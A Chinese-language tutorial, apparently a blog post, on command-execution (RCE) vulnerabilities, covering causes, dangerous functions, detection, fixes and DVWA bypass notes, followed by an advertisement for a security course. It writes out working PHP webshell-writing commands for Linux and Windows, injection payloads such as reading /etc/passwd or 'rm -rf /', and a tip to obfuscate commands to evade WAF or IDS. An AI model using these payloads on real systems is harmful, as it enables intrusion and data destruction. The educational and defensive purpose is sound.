文章目录
        • 1. 命令执行漏洞是什么?产生原因有哪些?
          • 产生原因的详细步骤:
        • 2. 命令执行漏洞如何getshell或写入webshell?
          • 写入webshell的步骤:
            • Linux系统:
            • Windows系统:
          • 注意点:
        • 3. 命令执行漏洞的分类(RCE)
        • 4. 如何发现命令执行漏洞?
          • 发现方法:
        • 5. 不同语言的命令执行漏洞危险函数
          • PHP:
          • Python:
          • Java:
          • Ruby:
          • Perl:
          • 注意:
        • 6. 查漏补缺与案例分析
          • 查漏补缺:
          • 案例分析:
    • RCE漏洞防御
      • Low级别
      • 中等防护
      • Hight


1. 命令执行漏洞是什么?产生原因有哪些?

命令执行漏洞是指攻击者能够通过应用程序的输入点(如表单、URL参数、API等),直接或间接执行系统命令或代码的漏洞。这种漏洞通常出现在开发者未对用户输入进行充分验证或过滤的情况下,导致攻击者可以注入恶意命令并被系统执行。

产生原因的详细步骤:
  1. 未过滤或未验证用户输入

    • 开发者直接将用户输入拼接到系统命令中,未进行严格的输入检查。例如,输入参数直接用于调用系统命令执行函数。

    • 示例:system("ping " + user_input),如果用户输入为127.0.0.1 && dir,可能执行额外命令。

  2. 不安全的函数调用

    • 使用了允许直接执行系统命令的危险函数(如system()exec()shell_exec()等),且未对输入进行限制。

    • 示例:PHP中shell_exec($_GET['cmd']),用户可通过URL参数注入命令。

  3. 拼接命令的逻辑错误

    • 开发者在构造命令时,未考虑命令分隔符(如;&&|等)可能被注入,导致执行意外命令。

    • 示例:输入file.txt; rm -rf /可能删除服务器文件。

  4. 权限控制不当

    • 应用程序以高权限运行(如root或Administrator),使得命令执行的影响范围更大。
  5. 第三方组件或库的漏洞

    • 使用了存在命令注入漏洞的第三方库或框架,未及时更新补丁。

2. 命令执行漏洞如何getshell或写入webshell?

Getshell是指通过命令执行漏洞获取目标服务器的控制权,通常通过写入webshell(一个后门脚本)实现。以下是具体方法:

写入webshell的步骤:
Linux系统:
  1. 利用命令写入文件

    • 使用命令将webshell内容写入服务器可访问的目录。

    • 示例:echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php

    • 解释:将PHP代码写入shell.php,通过URL访问即可执行命令。

  2. 利用管道或重定向

    • 如果直接写入受限,可通过管道或重定向绕过。

    • 示例:whoami | tee /var/www/html/shell.phptee将输出写入文件)。

Windows系统:
  1. 利用echo命令写入文件

    • 示例:echo ^<?php system($_GET["cmd"]); ?^> > C:\inetpub\wwwroot\shell.php

    • 解释:Windows下用^转义特殊字符,写入PHP后门。

  2. 利用copy或type命令

    • 示例:echo <?php system($_GET["cmd"]); ?> > temp.txt & copy temp.txt C:\inetpub\wwwroot\shell.php

    • 解释:先写入临时文件,再复制到目标路径。

注意点:
  • 权限限制:确保当前用户有写入目标目录的权限。

  • 路径可访问性:webshell需写入Web服务器可访问的目录(如/var/www/htmlC:\inetpub\wwwroot)。

  • 命令长度限制:某些系统对输入长度有限制,需分步执行或使用短命令。

  • 防御检测:避免触发WAF或IDS,可能需要编码或混淆命令。


3. 命令执行漏洞的分类(RCE)

**RCE(Remote Code Execution,远程代码执行)**是命令执行漏洞的一种广义分类,可细分为:

  1. 操作系统命令注入

    • 直接执行系统命令,如system("ping " + input)
  2. 代码执行漏洞

    • 执行应用程序代码,如PHP的eval()执行用户输入的PHP代码。
  3. 反序列化漏洞导致的RCE

    • 通过反序列化调用危险函数执行命令(如Java的Runtime.exec())。
  4. 模板引擎注入

    • 如Python的Jinja2模板注入,执行任意代码。
  5. 文件操作导致的RCE

    • 通过文件包含或上传结合命令执行实现。

4. 如何发现命令执行漏洞?
发现方法:
  1. 黑盒测试

    • 输入命令分隔符(如;&&|)或特殊字符(如$()"),观察响应是否异常。

    • 示例:输入127.0.0.1; whoami,检查返回是否包含用户名。

  2. 白盒审计

    • 检查代码中是否使用了危险函数(如system()exec()),并分析输入是否可控。

    • 示例:查找os.system(request.GET['cmd'])

  3. 模糊测试(Fuzzing)

    • 使用工具(如Burp Suite)发送大量畸形输入,检测异常行为。
  4. 日志分析

    • 检查服务器日志中是否有异常命令执行的痕迹。

5. 不同语言的命令执行漏洞危险函数

以下是常见语言中的危险函数列表:

PHP:
  • system():执行系统命令并返回输出。

  • exec():执行命令,返回最后一行。

  • shell_exec():执行命令,返回完整输出。

  • passthru():执行命令并直接输出。

  • popen():打开进程文件指针。

  • proc_open():执行命令并控制进程。

  • eval():执行PHP代码。

  • assert():执行字符串作为代码(旧版本)。

Python:
  • os.system():执行系统命令。

  • os.popen():执行命令并返回文件对象。

  • subprocess.call():执行命令(未设置shell=False时危险)。

  • subprocess.Popen():类似call()

  • exec():执行Python代码。

  • eval():执行表达式。

Java:
  • Runtime.getRuntime().exec():执行系统命令。

  • ProcessBuilder:未正确过滤参数时可执行命令。

Ruby:
  • system():执行系统命令。

  • exec():替换当前进程执行命令。

  • Open3.popen3():执行命令并控制输入输出。

Perl:
  • system():执行系统命令。

  • exec():执行命令并退出。

  • open():未过滤时可执行命令(如open(FILE, "|cmd"))。

注意:
  • 这些函数本身不一定有漏洞,但与未过滤的用户输入结合使用时极易导致RCE。

6. 查漏补缺与案例分析
查漏补缺:
  • 防御措施

    • 使用白名单过滤输入,避免直接拼接命令。

    • 使用安全的API替代危险函数(如Python的subprocess设置shell=False)。

    • 限制应用程序运行权限(如非root用户)。

  • 检测难点

    • 隐蔽的命令注入(如编码后的输入:$(whoami))。

    • 多层调用导致的漏洞(如函数间接调用system())。

案例分析:
  1. PHP命令注入案例

    • 代码:system("ping " . $_GET['ip']);

    • 输入:127.0.0.1; cat /etc/passwd

    • 结果:服务器执行ping 127.0.0.1; cat /etc/passwd,泄露用户信息。

    • 修复:使用escapeshellarg()过滤输入。

  2. Python RCE案例

    • 代码:os.system("ls " + user_input)

    • 输入:dir && rm -rf /

    • 结果:删除服务器文件。

    • 修复:使用subprocess.run(["ls", user_input], shell=False)

  3. Windows webshell案例

    • 代码:system("dir " . $_GET['path']);

    • 输入:nul & echo <?php system($_GET["cmd"]); ?> > shell.php

    • 结果:写入webshell,攻击者通过shell.php?cmd=whoami控制服务器。


RCE漏洞防御

Low级别
  • 192.168.1.5 && net user

中等防护

&& ; 替换

  1. || 前面能执行 只执行了前面的

  2. | 后面能执行 只能执行后面的


  1. 前面错了 后面的命令依旧能执行

  2. | 只执行了后面的命令 192.168.1.5|net user

Hight
  • 有空格 单个管道符不行 192.168.1.5| net user

  • 代码审计是无敌得可以审计出这种bug

  • 最高等级防护 对数据输入的数据进行严格的控制 说明类别的数据类型__。

远程命令执行

  • 一般都是通过代码审计审核出代码漏洞 也就是安全审计
  • 1)执行系统命令: assert,exec,shell_exec,``(反单引号)

    • system,passthru,pcntl_exec,popen,proc_open
  • (2)代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

    • 写在eval()中的字符串都会当做代码来执行。
  • (3)文件包含与生成:

    • require, require_once, include, include_once,file_get_contents, file_put_contents, fputs, fwrite
  • (4)dvwa low && Medium & 或&;& High | (代码里面的|后有一个空格)pikachu phpinfo();

  • (5)struts2命令执行漏洞攻防演示

历史漏洞:__https://www.seebug.org/search/?keywords=struts2

  • REC防御只看DVW得防范就可以了

  • _**尽量不要使用命令执行函数。**_ _**不要让用户控制参数。**_ _**执行前做好检测和过滤。**_

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

在这里插入图片描述

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

img

2、Linux操作系统

img

3、WEB架构基础与HTTP协议

img

4、Web渗透测试

img

5、渗透测试案例分享

img

6、渗透测试实战技巧

图片

7、攻防对战实战

图片

8、CTF之MISC实战讲解

图片

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

img

Logo

中国智能体开发者社区,聚焦智能体与大模型开发,提供前沿资讯、实用工具链、开源项目及行业案例。通过技术沙龙、开发者大赛等活动,促进经验交流与协作,助力开发者快速构建创新智能应用。

更多推荐